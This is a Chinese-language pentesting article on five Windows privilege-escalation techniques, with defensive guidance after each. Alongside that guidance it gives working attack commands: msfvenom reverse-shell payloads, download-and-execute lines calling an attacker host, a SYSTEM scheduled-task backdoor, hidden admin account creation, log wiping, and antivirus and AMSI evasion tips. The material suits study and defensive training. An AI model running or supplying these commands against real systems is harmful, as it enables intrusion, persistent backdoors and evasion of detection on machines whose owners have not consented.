Windows提权实战:5种高频漏洞利用手法与防御指南

发布时间:2026/7/31 13:45:24

Windows提权实战:5种高频漏洞利用手法与防御指南 1. 项目概述从“能做什么”到“为什么这么做”在Windows安全领域“提权”是一个永恒的话题。它不仅仅是攻击者获取更高权限的手段更是安全从业者评估系统健壮性、理解权限模型核心缺陷的必经之路。很多朋友拿到一个Windows系统可能知道用whoami /priv看看当前权限用systeminfo扫一眼补丁但面对琳琅满目的漏洞编号和利用工具往往感到无从下手这个漏洞我的环境能用吗那条命令执行失败了怎么办防御到底该从哪儿做起这篇内容我们就抛开那些华而不实的理论直接切入实战。我会结合自己这些年做渗透测试和应急响应的经历拆解5种在真实环境中最高频出现的Windows提权漏洞及其利用手法。更重要的是我会详细解释每一种方法背后的原理、为什么它会成功、以及在实际操作中那些工具文档里不会写的“坑”。最后我们会从攻击者的视角反推整理出一套可落地的防御指南。你会发现很多有效的防御措施其实就藏在攻击的细节里。无论你是刚开始接触内网安全的新手还是想梳理知识体系的从业者这篇文章都能给你提供一套清晰的“作战地图”和“排雷手册”。2. 核心漏洞利用手法深度拆解Windows提权的路径繁多但究其本质大多是利用了系统在权限设计、服务配置或组件逻辑上的缺陷。下面这五种方法覆盖了从系统服务到第三方应用从配置错误到内核缺陷的常见场景。2.1 利用系统服务错误配置弱权限服务的“特权升级”这是最经典也最容易被忽视的提权路径。Windows服务通常以SYSTEM、LocalService等高级账户运行。如果一个服务被配置为以高权限运行但其二进制文件的路径、依赖的DLL目录甚至其可写性存在配置错误就可能被利用。核心原理 攻击者通过枚举发现某个以SYSTEM权限运行的服务其对应的可执行文件或相关目录允许当前用户进行写入操作。那么攻击者就可以将自己的恶意可执行文件替换或放置到相应位置等待服务重启或系统重启时恶意代码便以SYSTEM权限执行。实操命令与深度解析信息收集 - 发现潜在目标# 查询所有非微软服务并显示其路径、启动类型和登录账户 wmic service get name,displayname,pathname,startmode,startname | findstr /v “C:\Windows\\” | findstr /i “auto”为什么用这个命令wmic能提供最原始的服务信息。findstr /v “C:\Windows\\”过滤掉大部分微软原生服务它们通常更安全。findstr /i “auto”聚焦于开机自启的服务利用成功率更高因为不需要等待手动触发。注意事项 输出中的pathname字段是关键。要仔细检查路径是否被引号包裹以及路径中是否存在空格。例如“C:\Program Files\MyApp\service.exe”和C:\MyApp\service.exe在解析上可能有巨大差异。权限检查 - 确认可写性# 检查服务二进制文件所在目录的权限 icacls “C:\Program Files\VulnerableApp\” # 或者使用PowerShell Get-Acl “C:\Program Files\VulnerableApp\service.exe” | Format-List关键点 寻找包含(F)、(M)、(W)、(WD)的权限条目特别是应用到当前用户或Everyone、Authenticated Users、BUILTIN\Users等组。(F)是完全控制最理想(M)是修改(W)是写入(WD)是写入数据/添加文件。利用实战 - 替换与触发 假设我们发现C:\MyService\service.exe以SYSTEM运行且Everyone组对该目录有(W)权限。# 1. 生成一个反向shell负载例如使用msfvenom # msfvenom -p windows/x64/shell_reverse_tcp LHOSTYOUR_IP LPORT4444 -f exe -o evil.exe # 2. 将恶意exe上传或复制到目标目录可能需要先备份原文件 copy evil.exe “C:\MyService\service.exe” /Y # 3. 重启服务如果当前用户有权限 sc stop MyService sc start MyService # 如果无法重启服务可以尝试重启系统或者等待系统计划的重启如补丁更新后深度技巧 如果服务正在运行文件可能被锁定无法覆盖。此时可以尝试利用“DLL劫持”或“未引用的服务路径”漏洞。对于后者如果路径像C:\Program Files\My App\service.exe注意空格Windows会按顺序尝试从C:\Program、C:\Program Files\My、C:\Program Files\My App\service.exe寻找可执行文件。如果当前用户能在C:\或C:\Program Files\My下创建service.exe就能实现劫持。防御视角 作为防御方应定期审计所有非微软服务确保其二进制文件路径权限严格遵循最小权限原则。使用类似AccessChkSysinternals套件的工具进行系统性检查。服务账户应避免使用SYSTEM尽可能使用专用的低权限账户。2.2 利用AlwaysInstallElevated策略被遗忘的“安装特权”这是一个典型的因便捷性牺牲安全性的配置错误。Windows有两组策略控制MSI安装包的权限计算机策略和用户策略。当两者都被启用时任何用户都能以高权限运行MSI安装包。核心原理AlwaysInstallElevated是一个Windows策略设置如果启用它会绕过用户账户控制UAC允许任何标准用户以管理员权限安装MSI包。攻击者可以制作一个包含恶意操作的MSI包利用此策略直接获得SYSTEM权限。实操命令与深度解析策略检查# 检查注册表中相关键值 reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated结果解读 如果两个查询都返回0x1则表示策略已启用漏洞存在。仅一个启用通常不足以利用。利用实战 确认漏洞存在后我们需要一个恶意的MSI文件。# 方法一使用msfvenom生成 # msfvenom -p windows/x64/shell_reverse_tcp LHOSTYOUR_IP LPORT5555 -f msi -o install.msi # 方法二使用WinRAR或MSI Wrapper等工具将后门exe打包成MSI并设置安装时执行。 # 执行安装将以高权限运行 msiexec /quiet /qn /i install.msi # /quiet /qn 参数用于静默安装不显示界面为什么是MSImsiexec.exe是Windows自带的MSI安装程序解释器当AlwaysInstallElevated启用时它会自动提升权限。注意事项 生成的MSI包可能被杀毒软件标记。可以尝试使用更隐蔽的方式例如MSI包仅用于添加一个计划任务或服务而不是直接执行反弹shell。防御视角 在组策略编辑器中检查计算机配置/管理模板/Windows组件/Windows Installer和用户配置/管理模板/Windows组件/Windows Installer下的“始终以提升的权限进行安装”策略确保其设置为“未配置”或“已禁用”。这是安全基线检查中必须包含的一项。2.3 利用可执行文件/脚本的弱权限计划任务与启动项系统或软件为了便利经常会创建一些自动运行的计划任务或启动项。如果这些任务指向的可执行文件或脚本的权限设置不当就可能被篡改。核心原理 计划任务Task Scheduler或启动文件夹Startup中的项目会在特定时间或事件触发时自动执行。如果当前用户对这些任务指向的脚本如.bat.vbs.ps1或可执行文件有写权限就可以将其替换为恶意代码等待触发获得权限。实操命令与深度解析枚举计划任务# 查看所有计划任务PowerShell更强大 schtasks /query /fo LIST /v # 使用PowerShell获取更详细的信息特别是“任务路径”和“操作” Get-ScheduledTask | Where-Object {$_.TaskPath -notlike “\Microsoft\*”} | Select-Object TaskName, TaskPath, {Name“Action”;Expression{$_.Actions.Execute}}筛选重点 忽略\Microsoft\路径下的系统任务。关注那些以SYSTEM或高权限账户运行、且触发条件如登录、系统启动容易满足的任务。检查文件权限与利用 假设发现一个任务\MyCorp\CleanupLogs它每天运行C:\Scripts\cleanup.bat且运行账户是SYSTEM。# 检查脚本目录权限 icacls C:\Scripts\ # 如果当前用户有写权限直接替换 echo echo off C:\Scripts\cleanup.bat echo C:\Temp\reverse_shell.exe C:\Scripts\cleanup.bat # 或者写入一行PowerShell命令下载并执行载荷 echo powershell -c “IEX (New-Object Net.WebClient).DownloadString(‘http://attacker/shell.ps1’)” C:\Scripts\cleanup.bat触发方式 可以等待任务自然触发也可以手动运行schtasks /run /tn “\MyCorp\CleanupLogs”如果当前用户有运行该任务的权限。启动项检查# 检查当前用户和所有用户的启动文件夹 dir “C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” dir “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp” # 检查注册表启动项 reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run利用点 如果对启动文件夹有写权限或者能修改注册表启动项指向的路径且对该路径有写权限就可以实现持久化并提权如果系统启动时以高权限账户运行某些服务。防御视角 定期审计计划任务和启动项特别是非微软来源的。确保任务指向的文件和目录权限严格遵循最小权限原则。对于必要的脚本考虑将其放在只读目录或使用具有适当权限的专用服务账户来运行。2.4 利用内核驱动漏洞直通内核的“终极武器”这是技术难度最高、但往往也最通用与系统配置关系较小的提权方式。它利用的是Windows内核本身或第三方内核驱动代码中的安全漏洞如缓冲区溢出、释放后使用UAF等。核心原理 内核驱动运行在系统的最高权限级别Ring 0。这些驱动会提供一些供用户态程序调用的接口IOCTL。如果驱动在处理这些调用时存在漏洞攻击者就可以从低权限的用户态通过精心构造的输入触发漏洞从而在内核态执行任意代码直接提升到SYSTEM权限。实操流程与深度解析信息收集 - 枚举已加载驱动# 使用PowerShell Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer | Where-Object {$_.Manufacturer -notmatch “Microsoft”} # 使用driverquery命令 driverquery /v /fo csv | ConvertFrom-Csv | Select-Object “Display Name”, “Start Mode”, “State” | Where-Object {$_.”Display Name” -notlike “*Microsoft*”}目标 寻找非微软的、已启动的第三方驱动。这些往往是漏洞的高发区因为其安全开发实践可能不如微软严格。漏洞匹配与利用 这一步高度依赖于具体的漏洞CVE。例如著名的CVE-2021-1732Windows Win32k提权漏洞或CVE-2018-8120Win32k NULL指针解引用。流程 a.确定系统版本和补丁systeminfo | findstr /B /C:“OS Name” /C:“OS Version” /C:“Hotfix(s)”。精确匹配漏洞影响范围。 b.寻找公开的Exp 在GitHub、Exploit-DB等平台搜索对应CVE的利用代码。重要警告切勿在非授权环境中测试且要从相对可靠的来源获取代码自行进行代码审计。c.编译与执行 通常Exp是一个可执行文件。在目标机器上运行它如果成功会弹出一个具有SYSTEM权限的shell通常是cmd.exe。# 假设我们有一个编译好的exp程序叫cve-2021-1732.exe # 上传并执行 cve-2021-1732.exe # 成功后通常会打开一个新的cmd窗口其标题或进程列表显示为SYSTEM权限。内核利用的挑战稳定性 内核漏洞利用不稳定可能导致系统蓝屏崩溃BSOD。对抗性 现代Windows有PatchGuard内核补丁保护、Driver Signature Enforcement驱动签名强制等机制增加了利用难度。针对性 需要精确匹配操作系统版本和已安装的补丁。防御视角 保持系统及时更新是最有效的防御。启用并确保“驱动签名强制”策略生效阻止加载未签名的恶意驱动。使用具备攻击防护如控制流防护CFG、任意代码防护ACG的现代安全软件。对服务器等关键系统考虑启用Credential Guard、Hypervisor-Protected Code Integrity (HVCI)等高级安全功能。2.5 利用第三方应用漏洞供应链的“薄弱环节”当操作系统本身固若金汤时运行在其上的第三方应用程序就成了突破口。数据库、Web服务器、管理软件、甚至安全软件都曾曝出过本地提权漏洞。核心原理 许多第三方应用在安装或运行时会创建服务、计划任务或以高权限执行某些操作。如果这些应用本身存在漏洞如DLL劫持、配置文件写入、服务权限错误配置攻击者就可以通过利用应用漏洞间接获得应用运行时所拥有的高权限。实操思路与案例枚举第三方应用与服务# 结合服务和非微软进程来发现 tasklist /v | findstr /v “Services.exe System Idle Process System svchost.exe” # 查看安装的程序 wmic product get name,version # 或者从注册表看 reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall案例某数据库管理工具服务配置不当假设发现一个MyDbAdminService以SYSTEM运行其路径为“C:\Program Files\DbTool\service.exe”。检查 发现C:\Program Files\DbTool\目录下有一个config.json该文件允许Users组写入。漏洞 该服务启动时会读取config.json并根据配置加载一个插件DLL。利用 修改config.json将插件路径指向我们上传的恶意DLL。重启服务后恶意DLL以SYSTEM权限加载。# 1. 生成恶意DLL # msfvenom -p windows/x64/shell_reverse_tcp LHOSTYOUR_IP LPORT6666 -f dll -o evil.dll # 2. 上传到可写目录如C:\Temp\ # 3. 修改配置文件 echo {“plugin_path”: “C:\\Temp\\evil.dll”} “C:\Program Files\DbTool\config.json” # 4. 重启服务 sc stop MyDbAdminService sc start MyDbAdminService通用方法DLL劫持DLL Hijacking这是针对第三方应用非常常见的手法。如果应用在加载DLL时没有指定绝对路径或者搜索路径中有一个当前用户可写的目录如当前目录.\就可能被劫持。工具 使用Process MonitorProcMon监控目标进程启动时尝试加载哪些DLL并注意那些“NAME NOT FOUND”的结果特别是那些最终从系统目录C:\Windows\System32加载成功的DLL。如果能在它找到系统DLL之前在我们有写权限的目录放置一个同名恶意DLL就会被优先加载。防御视角 严格管理第三方软件的安装和更新。定期对第三方软件进行漏洞扫描和安全配置审计。遵循最小权限原则安装软件避免使用默认的、权限过高的账户运行应用服务。对关键应用进行白名单或行为监控。3. 系统化提权实战流程与工具链了解了单个漏洞我们还需要一套系统化的流程在拿到一个低权限Shell后有条不紊地进行提权尝试。这就像一套组合拳而不是盲目单点攻击。3.1 自动化信息收集与初步评估手动执行命令效率低容易遗漏。使用自动化脚本是首选。推荐工具与命令WinPEAS / Windows-Exploit-Suggester 这是目前最强大的Windows本地提权枚举脚本之一WinPEAS。它几乎涵盖了前面提到的所有检查点服务、进程、计划任务、安装的应用、网络信息、凭证、AlwaysInstallElevated、文件权限等等。# 通常将winpeas.bat或winpeas.exe上传到目标执行 winpeas.exe quiet cmd fast # 它会输出彩色标记的高危项如红色/YELLOW让你快速聚焦。PowerUp.ps1 (PowerSploit) 另一个经典的PowerShell脚本专注于检查服务、计划任务、注册表路径等配置错误导致的提权可能。powershell -ep bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://your-server/PowerUp.ps1’); Invoke-AllChecks”手动命令组合包 在没有网络或无法运行脚本时可以执行一个批处理文件来收集关键信息。echo off echo System Info priv_check.txt systeminfo priv_check.txt echo. priv_check.txt echo Current User Privs priv_check.txt whoami /all priv_check.txt echo. priv_check.txt echo Services (Non-MS) priv_check.txt wmic service get name,displayname,pathname,startmode,startname | findstr /v /i “C:\Windows\\” priv_check.txt echo. priv_check.txt echo Scheduled Tasks (Non-MS) priv_check.txt schtasks /query /fo LIST /v | findstr /v /i “Microsoft” | findstr /i “taskname:\|run as user:\|task to run:” priv_check.txt echo. priv_check.txt echo Installed Hotfixes priv_check.txt wmic qfe get Caption,Description,HotFixID,InstalledOn priv_check.txt将这个批处理上传执行结果会保存到priv_check.txt方便离线分析。3.2 漏洞匹配与利用链构建收集到信息后下一步是匹配已知漏洞。系统补丁分析 使用windows-exploit-suggester.py离线版或wesng等工具。你需要从目标机器导出systeminfo的结果在攻击机上与漏洞数据库比对。# 在攻击机Kali等上操作 # 1. 从目标机获取systeminfo输出保存为sysinfo.txt # 2. 使用wesng python3 wes.py sysinfo.txt -o vulnerabilities.html它会生成一个报告列出可能未打补丁的漏洞并附上Exploit-DB等链接。构建利用链 提权往往不是一步到位。例如场景A 先利用一个第三方应用漏洞获得一个更高权限的用户如本地管理员组成员但还不是SYSTEM。场景B 利用这个新权限去修改一个以SYSTEM运行但之前无法写入的服务配置。场景C 或者用这个新权限安装一个恶意的、配置了AlwaysInstallElevated的MSI包。 思考权限之间的“跳板”关系而不仅仅是寻找直接到SYSTEM的漏洞。3.3 权限维持与清理痕迹获得SYSTEM权限后为了后续渗透的方便通常需要建立一个持久的、隐蔽的后门。创建隐藏用户不推荐易被发现net user eviluser Pssw0rd! /add net localgroup administrators eviluser /add # 更隐蔽的做法是激活默认的隐藏管理员账户如果被禁用并修改其密码 net user administrator /active:yes net user administrator NewStrongPassword!计划任务后门# 创建一个每分钟运行一次的计划任务连接回攻击机 schtasks /create /tn “WindowsUpdateCheck” /tr “powershell -nop -c ‘IEX ((new-object net.webclient).downloadstring(‘’http://attacker/rev.ps1’’))’” /sc minute /mo 1 /ru SYSTEM服务后门# 创建一个自启动服务 sc create “WinSvcUpdate” binPath “C:\Windows\Temp\backdoor.exe” start auto sc start WinSvcUpdate清理痕迹删除上传的漏洞利用程序、脚本文件。清理命令行历史对于cmd历史记录有限对于PowerShell检查Get-History并清除。修改被篡改的配置文件或服务路径恢复原状如果条件允许避免被日常维护发现。使用wevtutil清除相关的事件日志如安全、系统日志中关于账户创建、服务安装的记录但这本身也会留下日志。重要提示 在授权测试中权限维持和痕迹清理需严格遵守测试范围协议。在真实防御中这些正是监控的重点异常服务创建、计划任务、未知进程等。4. 从攻击到防御构建有效的权限提升防护体系最好的防御是理解攻击。基于上述攻击手法我们可以构建一个多层防御体系。4.1 基础配置加固堵住最常见的缺口这是成本最低、见效最快的部分。严格的权限管理服务账户 所有第三方应用服务绝不使用SYSTEM或Administrator账户。创建专用的服务账户赋予其完成工作所需的最小权限例如对特定日志目录的读写权而非整个C盘。文件系统权限 定期使用AccessChk或脚本扫描关键目录系统目录C:\Windows\,C:\Windows\System32\程序安装目录C:\Program Files\,C:\Program Files (x86)\服务二进制文件及所在目录计划任务脚本目录 确保这些目录的权限不包含Everyone、Users等组的写入权限。共享与网络访问 禁用不必要的网络共享对必须的共享设置严格的访问控制列表。策略与配置审查禁用AlwaysInstallElevated 如前所述在组策略中彻底禁用。用户账户控制 保持UAC在默认级别不要轻易降低。它虽然不能阻止所有提权但能增加攻击复杂度。审核策略 启用关键事件的审计如“审核策略更改”、“审核账户管理”、“审核登录事件”、“审核进程创建”。虽然不能防御但能提供溯源依据。4.2 系统与应用更新弥补已知漏洞操作系统补丁 建立严格的补丁管理流程。对于不能立即重启的服务器优先部署不需要重启的安全更新。使用WSUS或SCCM等工具进行集中管理。第三方软件补丁 这是最薄弱的环节。建立第三方软件清单订阅其安全公告使用软件分发工具或手动流程及时更新。尤其关注Java, Adobe系列, 浏览器 以及各种服务器中间件、数据库客户端/服务端。4.3 主动监控与检测发现异常行为防御不能只靠静态配置需要动态监控。进程监控父-子进程关系异常 例如svchost.exe启动cmd.exe是正常的但一个notepad.exe启动powershell.exe就值得警惕。从可疑路径执行 监控从Temp目录、用户下载目录启动的可执行文件特别是那些后来被赋予高权限的。工具 Sysinternals的Sysmon是免费的强大工具。可以配置规则来记录进程创建、网络连接、文件创建等事件并发送到SIEM集中分析。文件与注册表监控关键位置变更 监控对服务注册表项HKLM\SYSTEM\CurrentControlSet\Services\、计划任务文件C:\Windows\System32\Tasks、启动文件夹、AlwaysInstallElevated注册表键值的修改。工具Sysmon同样可以监控文件创建和注册表修改。网络连接监控 服务器上出现意外的出站连接尤其是连接到非常用端口或外部IP可能是反弹Shell的标志。4.4 高级防护技术增加攻击成本应用控制/白名单 使用Windows AppLocker或第三方解决方案只允许运行经过批准的可执行文件、脚本和安装程序。这能有效阻止未知漏洞利用程序和恶意脚本的运行。攻击面减少 在服务器上关闭不必要的服务、功能、端口。使用Windows Defender攻击面减少规则阻止Office宏、脚本执行、可执行文件从邮件中运行等常见攻击向量。凭据保护 启用Windows Defender Credential Guard适用于支持虚拟化的系统将域凭证的哈希值隔离在安全的内核空间中防止Mimikatz等工具抓取。内存保护 确保系统启用DEP数据执行保护、ASLR地址空间布局随机化、CFG控制流防护。这些机制能增加漏洞利用的难度。5. 实战中遇到的典型问题与排查思路即使按照教程操作实战中也会遇到各种问题。这里分享几个常见坑点。问题1icacls显示有写权限但实际覆盖文件时提示“拒绝访问”。原因 文件可能被其他进程独占锁定比如服务正在运行。或者你拥有对目录的写权限但没有对现有文件的修改权限(M)。排查使用handle.exe或Process Explorer查看哪个进程打开了这个文件。尝试停止相关服务后再操作。检查对文件本身的权限icacls “C:\path\to\file.exe”。考虑利用移动Move操作。在同一分区内移动文件只需要对源目录和目标目录有写权限而不一定需要对文件本身有写权限。可以先在可写目录创建恶意文件然后移动到目标目录覆盖如果目标目录允许移动入文件。问题2利用内核Exp时直接导致系统蓝屏崩溃。原因 内核Exp稳定性差可能与特定系统版本、已安装的第三方驱动或安全软件冲突。排查与缓解精确匹配 再次确认系统版本、语言包、已安装补丁与Exp描述完全一致。安全软件 尝试在测试前暂停或绕过安全软件在授权范围内。选择更稳定的Exp 寻找那些在公开社区经过多次测试确认可用的版本。备用方案 准备好其他提权方法如配置错误类不要只依赖一种内核Exp。问题3通过计划任务或服务启动的后门被杀毒软件立即清除。原因 载荷特征或行为被识别。排查与绕过免杀处理 对生成的恶意exe/dll进行混淆、加壳、编码或使用白名单程序如msbuild.exe,installutil.exe来间接执行代码。无文件攻击 避免落地恶意文件。使用PowerShell内存加载、注册表存储、WMI事件订阅等方式。合法工具滥用 使用certutil.exe、bitsadmin.exe等系统自带工具下载使用rundll32.exe、regsvr32.exe执行DLL使用msiexec.exe执行MSI中的脚本。修改行为 将反弹Shell改为更隐蔽的通信方式如使用DNS隧道、HTTPS协议或增加延迟、流量伪装。问题4WinPEAS等脚本被目标系统上的杀软或AMSI拦截。原因 这些脚本的代码特征或加载方式已被标记。排查与绕过代码混淆 手动或使用工具对PowerShell脚本进行混淆拆分字符串改变函数名。内存加载 将脚本内容分成多段通过多个IEX或Invoke-Expression调用加载避免一次性传递整个特征明显的脚本。替代工具 使用其他不那么知名的枚举脚本或者回归手动命令枚举。本地执行 如果条件允许将脚本上传到磁盘再执行有时比远程下载执行触发警报的概率低。问题5成功添加了管理员用户但无法通过远程桌面登录。原因 目标服务器可能限制了远程桌面用户组Remote Desktop Users或者防火墙规则、本地策略有额外限制。排查检查用户是否在Remote Desktop Users组中net localgroup “Remote Desktop Users”。检查本地安全策略secpol.msc- 本地策略 - 用户权限分配 - “通过远程桌面服务允许登录”。如果只是为了执行命令可以不用RDP。使用psexec.exe、wmic或计划任务来以新用户身份执行命令。例如psexec \\localhost -u eviluser -p Pssw0rd! cmd.exe。提权攻防是一场持续的博弈。攻击技术在进化防御体系也需要不断迭代。对于防御者而言最重要的不是追求绝对安全而是通过扎实的基础加固、及时的补丁管理、有效的监控和响应将攻击者的成本和风险提到最高。而对于学习者理解这些手法的原理和上下文远比记住几个命令更重要。在实际操作中耐心、细致和系统化的思维往往比掌握一个“神级”Exp更有价值。

相关新闻